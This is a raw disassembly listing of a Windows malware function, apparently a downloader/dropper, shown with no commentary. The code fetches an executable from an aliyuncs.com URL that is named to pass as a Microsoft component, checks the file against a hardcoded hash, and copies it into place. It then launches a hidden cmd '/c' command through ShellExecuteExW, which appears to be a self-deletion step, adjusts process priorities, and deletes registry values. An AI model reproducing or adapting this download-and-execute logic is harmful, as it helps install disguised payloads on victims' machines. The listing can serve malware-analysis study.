call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea ecx, [ebp - 0x52b8]
call fcn.0040e160
jmp 0x412deb
lea eax, [ebp - 0x52bc]
push eax
push 2
push ebx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 0x52bc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.PLS_lolocckA
push ecx
call esi
mov edx, dword [ebp - 0x52bc]
push str.PLS_lolocckB
push edx
call esi
lea ecx, [ebp - 0x52b8]
call fcn.0040e160
jmp 0x412deb
lea eax, [esi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412deb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x412deb
push 0x3ff
xor edi, edi
lea ecx, [ebp - 0x1993]
push edi
push ecx
mov byte [ebp - 0x1994], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea edx, [ebp - 0x674]
push edx
push edi
push edi
call esi
push edi
push edi
push eax
lea eax, [ebp - 0x1994]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x674]
push ecx
push edi
push edi
call esi
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x1994]
push eax
call fcn.00411400
lea ecx, [ebp - 0x138c]
push ecx
lea edx, [ebp - 0x38]
push edx
call fcn.00422310
add esp, 0x10
test eax, eax
je 0x412ada
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
add eax, 0x10
mov dword [ebp - 0x52b8], eax
push str.http:__trjdfhdfufgbsdt.oss_accelerate_overseas.aliyuncs.com_MicrosoftFolderRedirectionWMIProvider.exe
push 0x43fa88
lea edi, [ebp - 0x52b8]
mov dword [ebp - 4], 2
call fcn.0040e9c0
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
add esp, 8
push 0
call esi
mov edi, dword [ebp - 0x52b8]
push edi
call esi
push 0
push 0
lea eax, [ebp - 0x674]
push eax
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x41294d
lea ecx, [ebp - 0x674]
push ecx
call ebx
cmp eax, 0xffffffff
jne 0x41294d
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x52b8]
call fcn.0040e160
jmp 0x412deb
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x38]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x412b02
test dl, dl
je 0x412afe
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x412b02
add eax, 2
add ecx, 2
test dl, dl
jne 0x412ae2
xor eax, eax
jmp 0x412b07
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x412deb
lea edx, [ebp - 0x46c]
push edx
call ebx
cmp eax, 0xffffffff
jne 0x412b4a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x412b4a
push edi
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x412c26
jmp 0x412deb
push 0x3ff
lea edx, [ebp - 0xc7b]
push edi
push edx
mov byte [ebp - 0xc7c], 0
call fcn.00423160
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x46c]
push eax
push edi
push edi
call esi
push edi
push edi
push eax
lea ecx, [ebp - 0xc7c]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x46c]
push edx
push edi
push edi
call esi
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0xc7c]
push ecx
call fcn.00411400
lea edx, [ebp - 0x138c]
push edx
lea eax, [ebp - 0x5c]
push eax
call fcn.00422310
add esp, 0x10
test eax, eax
je 0x412bd3
push edi
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x674]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x412c26
jmp 0x412deb
mov ecx, str.c5221da4df76e597588be03fc1372e55
lea eax, [ebp - 0x5c]
jmp 0x412be0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x412c00
test dl, dl
je 0x412bfc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x412c00
add eax, 2
add ecx, 2
test dl, dl
jne 0x412be0
xor eax, eax
jmp 0x412c05
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x412c26
push edi
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x674]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x412deb
push 0x208
lea edx, [ebp - 0x108c]
push edi
push edx
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x46c]
push ecx
lea edx, [ebp - 0x108c]
push str.__s___c___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x206
lea ecx, [ebp - 0x87a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x87c], ax
call fcn.00423160
add esp, 0x1c
push 0x206
lea eax, [ebp - 0x1592]
xor edx, edx
push edi
push eax
mov word [ebp - 0x1594], dx
call fcn.00423160
add esp, 0xc
push 0x206
lea edx, [ebp - 0xe82]
xor ecx, ecx
push edi
push edx
mov word [ebp - 0xe84], cx
call fcn.00423160
add esp, 0xc
push 0x208
lea eax, [ebp - 0x87c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
lea ecx, [ebp - 0x87c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0x208
lea eax, [ebp - 0x1594]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str._c__
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea edx, [ebp - 0x108c]
push edx
lea eax, [ebp - 0xe84]
push eax
call esi
push 0x441420
lea ecx, [ebp - 0xe84]
push ecx
call esi
lea ecx, [ebp - 0x52fc]
lea edx, [ebp - 0x1594]
lea eax, [ebp - 0xe84]
push ecx
mov dword [ebp - 0x52fc], 0x3c
mov dword [ebp - 0x52f4], edi
mov dword [ebp - 0x52f0], 0x441424
mov dword [ebp - 0x52ec], edx
mov dword [ebp - 0x52e8], eax
mov dword [ebp - 0x52e4], edi
mov dword [ebp - 0x52e0], edi
mov dword [ebp - 0x52f8], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x412daf
mov edx, dword [ebp - 0x52c4]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
jmp 0x412deb
lea eax, [ebp - 0x52bc]
push eax
push 2
push edi
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 0x52bc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.PLS_lolocckA
push ecx
call esi
mov edx, dword [ebp - 0x52bc]
push str.PLS_lolocckB
push edx
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret